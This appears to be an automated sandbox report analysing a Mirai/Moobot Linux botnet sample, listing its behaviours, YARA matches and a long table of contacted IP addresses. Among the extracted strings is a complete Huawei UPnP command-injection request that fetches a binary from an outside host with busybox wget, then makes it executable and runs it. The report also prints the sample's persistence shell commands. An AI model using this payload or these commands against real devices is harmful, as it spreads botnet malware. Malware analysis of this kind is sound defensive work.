Source: Initial sample String containing 'busybox' found: HTTP/1.1 200 OKarmarm7mipsmipselx86_64sh4ppcm68k<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Source: Initial sample String containing 'busybox' found: bin/busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: f%s:%dwebservbinbin/busyboxbin/watchdogbin/systemd/bin/busybox/bin/watchdog/bin/systemdp
Source: classification engine Classification label: mal96.troj.linELF@0/0@105/0

Persistence and Installation Behavior
barindex
Sets full permissions to files and/or directories
Source: /bin/sh (PID: 6239) Chmod executable with 777: /usr/bin/chmod -> chmod 777 bin/watchdog\\xfb\\xfe\\xff\\x8c\\xfb\\xfe\\xff\\x90\\xa4 Jump to behavior
Executes the "mkdir" command used to create folders
Source: /bin/sh (PID: 6237) Mkdir executable: /usr/bin/mkdir -> mkdir bin Jump to behavior
Executes the "chmod" command used to modify permissions
Source: /bin/sh (PID: 6239) Chmod executable: /usr/bin/chmod -> chmod 777 bin/watchdog\\xfb\\xfe\\xff\\x8c\\xfb\\xfe\\xff\\x90\\xa4 Jump to behavior
Executes commands using a shell command-line interpreter
Source: /tmp/k8CCRUs7Yi.elf (PID: 6234) Shell command executed: /bin/sh -c "rm -rf bin/watchdog && mkdir bin; >bin/watchdog && mv /tmp/k8CCRUs7Yi.elf bin/watchdog; chmod 777 bin/watchdog\\xfb\\xfe\\xff\\x8c\\xfb\\xfe\\xff\\x90\\xa4" Jump to behavior
Executes the "rm" command used to delete files or directories
Source: /bin/sh (PID: 6236) Rm executable: /usr/bin/rm -> rm -rf bin/watchdog Jump to behavior
Source: submitted sample Stderr: chmod: cannot access 'bin/watchdog'$'\373\376\377\214\373\376\377\220\244\002': No such file or directory: exit code = 0

Hooking and other Techniques for Hiding and Protection
barindex
Uses known network protocols on non-standard ports
Source: unknown Network traffic detected: HTTP traffic on port 38784 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 36752 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 36752 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 37215 -> 36752
Source: unknown Network traffic detected: HTTP traffic on port 55690 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 53818 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 38110 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 38110 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 53818 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 38110 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 53818 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 38110 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 53818 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 38110 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 53818 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 38110 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 53818 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 38110 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 53818 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 47280 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 37215 -> 47280
Source: unknown Network traffic detected: HTTP traffic on port 38110 -> 37215
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/k8CCRUs7Yi.elf (PID: 6232) Queries kernel information via 'uname': Jump to behavior
Source: k8CCRUs7Yi.elf, 6232.1.00005579de727000.00005579de855000.rw-.sdmp, k8CCRUs7Yi.elf, 6243.1.00005579de727000.00005579de855000.rw-.sdmp Binary or memory string: yU!/etc/qemu-binfmt/arm
Source: k8CCRUs7Yi.elf, 6232.1.00007ffe84fea000.00007ffe8500b000.rw-.sdmp, k8CCRUs7Yi.elf, 6243.1.00007ffe84fea000.00007ffe8500b000.rw-.sdmp Binary or memory string: "x86_64/usr/bin/qemu-arm/tmp/k8CCRUs7Yi.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/k8CCRUs7Yi.elf
Source: k8CCRUs7Yi.elf, 6232.1.00005579de727000.00005579de855000.rw-.sdmp, k8CCRUs7Yi.elf, 6243.1.00005579de727000.00005579de855000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/arm
Source: k8CCRUs7Yi.elf, 6232.1.00007ffe84fea000.00007ffe8500b000.rw-.sdmp, k8CCRUs7Yi.elf, 6243.1.00007ffe84fea000.00007ffe8500b000.rw-.sdmp Binary or memory string: /usr/bin/qemu-arm

Stealing of Sensitive Information
barindex
Yara detected Mirai
Source: Yara match File source: k8CCRUs7Yi.elf, type: SAMPLE
Source: Yara match File source: 6232.1.00007f281c017000.00007f281c02d000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6243.1.00007f281c017000.00007f281c02d000.r-x.sdmp, type: MEMORY
Yara detected Moobot
Source: Yara match File source: k8CCRUs7Yi.elf, type: SAMPLE
Source: Yara match File source: 6232.1.00007f281c017000.00007f281c02d000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6243.1.00007f281c017000.00007f281c02d000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: k8CCRUs7Yi.elf PID: 6232, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: k8CCRUs7Yi.elf PID: 6243, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Mirai
Source: Yara match File source: k8CCRUs7Yi.elf, type: SAMPLE
Source: Yara match File source: 6232.1.00007f281c017000.00007f281c02d000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6243.1.00007f281c017000.00007f281c02d000.r-x.sdmp, type: MEMORY
Yara detected Moobot
Source: Yara match File source: k8CCRUs7Yi.elf, type: SAMPLE
Source: Yara match File source: 6232.1.00007f281c017000.00007f281c02d000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6243.1.00007f281c017000.00007f281c02d000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: k8CCRUs7Yi.elf PID: 6232, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: k8CCRUs7Yi.elf PID: 6243, type: MEMORYSTR

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
197.210.172.219
 unknown Nigeria
29465 VCG-ASNG false
197.0.2.50
 unknown Tunisia
37705 TOPNETTN false
41.185.108.115
 unknown South Africa
36943 GridhostZA false
41.235.61.9
 unknown Egypt
8452 TE-ASTE-ASEG false
188.36.242.138
 unknown Hungary
5483 MAGYAR-TELEKOM-MAIN-ASMagyarTelekomNyrtHU false
41.195.197.43
 unknown South Africa
16637 MTNNS-ASZA false
149.237.153.9
 unknown Germany
12843 TELEMAXXDE false
41.127.73.189
 unknown South Africa
16637 MTNNS-ASZA false
197.166.154.51
 unknown Egypt
24863 LINKdotNET-ASEG false
157.245.182.53
 unknown United States
14061 DIGITALOCEAN-ASNUS false
197.153.36.4
 unknown Morocco
36925 ASMediMA false
41.37.208.121
 unknown Egypt
8452 TE-ASTE-ASEG false
197.31.187.197
 unknown Tunisia
37492 ORANGE-TN false
197.225.251.131
 unknown Mauritius
23889 MauritiusTelecomMU false
41.101.160.208
 unknown Algeria
36947 ALGTEL-ASDZ false
41.57.220.73
 unknown Ghana
37103 BUSYINTERNETGH false
97.30.206.138
 unknown United States
22394 CELLCOUS false
95.57.208.75
 unknown Kazakhstan
9198 KAZTELECOM-ASKZ false
157.222.204.85
 unknown United States
4704 SANNETRakutenMobileIncJP false
159.74.183.119
 unknown United States
1257 TELE2EU false
41.29.92.239
 unknown South Africa
29975 VODACOM-ZA false
157.74.250.109
 unknown Japan 131932 JEIS-NETJREastInformationSystemsCompanyJP false
157.87.184.61
 unknown United States
21612 FUNDACAOINSTITUTOOSWALDOCRUZBR false
41.241.171.238
 unknown Sudan
36998 SDN-MOBITELSD false
157.159.2.23
 unknown France
2094 FR-TELECOM-MANAGEMENT-SUDPARISTelecomManagementSudPari false
41.97.193.147
 unknown Algeria
36947 ALGTEL-ASDZ false
197.84.139.255
 unknown South Africa
10474 OPTINETZA false
157.84.108.140
 unknown United Kingdom
2907 SINET-ASResearchOrganizationofInformationandSystemsN false
41.41.240.214
 unknown Egypt
8452 TE-ASTE-ASEG false
157.22.104.166
 unknown United States
397379 NLN-ASN-01US false
25.246.88.170
 unknown United Kingdom
199055 UKCLOUD-ASGB false
197.89.147.89
 unknown South Africa
10474 OPTINETZA false
204.176.93.89
 unknown United States
701 UUNETUS false
197.47.50.230
 unknown Egypt
8452 TE-ASTE-ASEG false
157.75.104.134
 unknown Japan 131932 JEIS-NETJREastInformationSystemsCompanyJP false
141.67.194.206
 unknown Germany
680 DFNVereinzurFoerderungeinesDeutschenForschungsnetzese false
192.51.188.240
 unknown China
136038 HDTIDCCLOUD-AS-APHDTIDCLIMITEDHK false
23.137.159.52
 unknown Reserved
397656 INFOSEC-ENTERPRISES-LLCUS false
197.73.207.28
 unknown South Africa
16637 MTNNS-ASZA false
197.8.107.197
 unknown Tunisia
5438 ATI-TN false
41.15.176.228
 unknown South Africa
29975 VODACOM-ZA false
197.11.215.229
 unknown Tunisia
5438 ATI-TN false
197.237.113.171
 unknown Kenya
15399 WANANCHI-KE false
41.123.104.154
 unknown South Africa
16637 MTNNS-ASZA false
112.1.125.104
 unknown China
56046 CMNET-JIANGSU-APChinaMobilecommunicationscorporationCN false
157.20.21.155
 unknown unknown
24297 FCNUniversityPublicCorporationOsakaJP false
41.172.220.44
 unknown South Africa
36937 Neotel-ASZA false
71.17.15.181
 unknown Canada
803 SASKTELCA false
41.212.241.75
 unknown Mauritius
23889 MauritiusTelecomMU false
157.200.4.53
 unknown Finland
1759 TSF-IP-CORETeliaFinlandOyjEU false
157.210.167.248
 unknown United States
4704 SANNETRakutenMobileIncJP false
32.96.114.0
 unknown United States
7018 ATT-INTERNET4US false
197.108.245.191
 unknown South Africa
37168 CELL-CZA false
157.247.33.238
 unknown Austria
8447 TELEKOM-ATA1TelekomAustriaAGAT false
41.214.134.104
 unknown Morocco
36925 ASMediMA false
41.8.13.54
 unknown South Africa
29975 VODACOM-ZA false
157.94.185.59
 unknown Finland
51164 CYBERCOM-FICybercomFinlandOyFI false
91.184.172.129
 unknown Germany
9063 SAARGATE-ASVSENETGmbHDE false
157.182.56.30
 unknown United States
12118 WVUUS false
197.130.149.43
 unknown Morocco
6713 IAM-ASMA false
41.110.99.208
 unknown Algeria
36947 ALGTEL-ASDZ false
157.180.86.150
 unknown Sweden
22192 SSHENETUS false
197.165.32.75
 unknown Egypt
24863 LINKdotNET-ASEG false
65.170.138.29
 unknown United States
1239 SPRINTLINKUS false
195.232.253.86
 unknown Germany
12663 VODAFONE-GROUPIT false
203.214.124.37
 unknown Australia
7545 TPG-INTERNET-APTPGTelecomLimitedAU false
122.121.166.38
 unknown Taiwan; Republic of China (ROC)
3462 HINETDataCommunicationBusinessGroupTW false
41.227.18.96
 unknown Tunisia
2609 TN-BB-ASTunisiaBackBoneASTN false
168.57.1.121
 unknown United States
1761 TDIR-CAPNETUS false
157.52.55.213
 unknown United States
63394 EIDG-AS1US false
41.246.244.11
 unknown South Africa
5713 SAIX-NETZA false
41.9.179.7
 unknown South Africa
29975 VODACOM-ZA false
197.26.154.201
 unknown Tunisia
37492 ORANGE-TN false
197.84.96.119
 unknown South Africa
10474 OPTINETZA false
27.12.165.56
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
157.217.40.254
 unknown United States
4704 SANNETRakutenMobileIncJP false
41.219.71.247
 unknown Namibia
37009 MTCASNNA false
197.245.175.177
 unknown South Africa
11845 Vox-TelecomZA false
41.239.143.144
 unknown Egypt
8452 TE-ASTE-ASEG false
181.122.141.219
 unknown Paraguay
23201 TelecelSAPY false
41.184.118.254
 unknown Nigeria
29091 IPNXngNG false
157.182.56.46
 unknown United States
12118 WVUUS false
179.191.14.210
 unknown Brazil
263314 ATALINKTELECOMUNICACOESBR false
157.21.225.93
 unknown United States
53446 EVMSUS false
197.104.91.101
 unknown South Africa
37168 CELL-CZA false
197.180.119.53
 unknown Kenya
33771 SAFARICOM-LIMITEDKE false
41.123.104.169
 unknown South Africa
16637 MTNNS-ASZA false
24.30.148.38
 unknown United States
20001 TWC-20001-PACWESTUS false
41.59.61.86
 unknown Tanzania United Republic of
327795 Tanzania-e-Government-AgencyTZ false
157.114.116.175
 unknown Japan 2907 SINET-ASResearchOrganizationofInformationandSystemsN false
157.114.150.95
 unknown Japan 2907 SINET-ASResearchOrganizationofInformationandSystemsN false
41.170.38.78
 unknown South Africa
328312 Deloitte-ASZA false
58.127.56.107
 unknown Korea Republic of
9318 SKB-ASSKBroadbandCoLtdKR false
157.224.81.251
 unknown United States
4704 SANNETRakutenMobileIncJP false
197.179.45.150
 unknown Kenya
33771 SAFARICOM-LIMITEDKE false
157.202.152.18
 unknown United States
1759 TSF-IP-CORETeliaFinlandOyjEU false
197.55.193.48
 unknown Egypt
8452 TE-ASTE-ASEG false
41.19.31.104
 unknown South Africa
29975 VODACOM-ZA false
157.170.48.59
 unknown United States
22192 SSHENETUS false
197.168.76.216
 unknown South Africa
37168 CELL-CZA false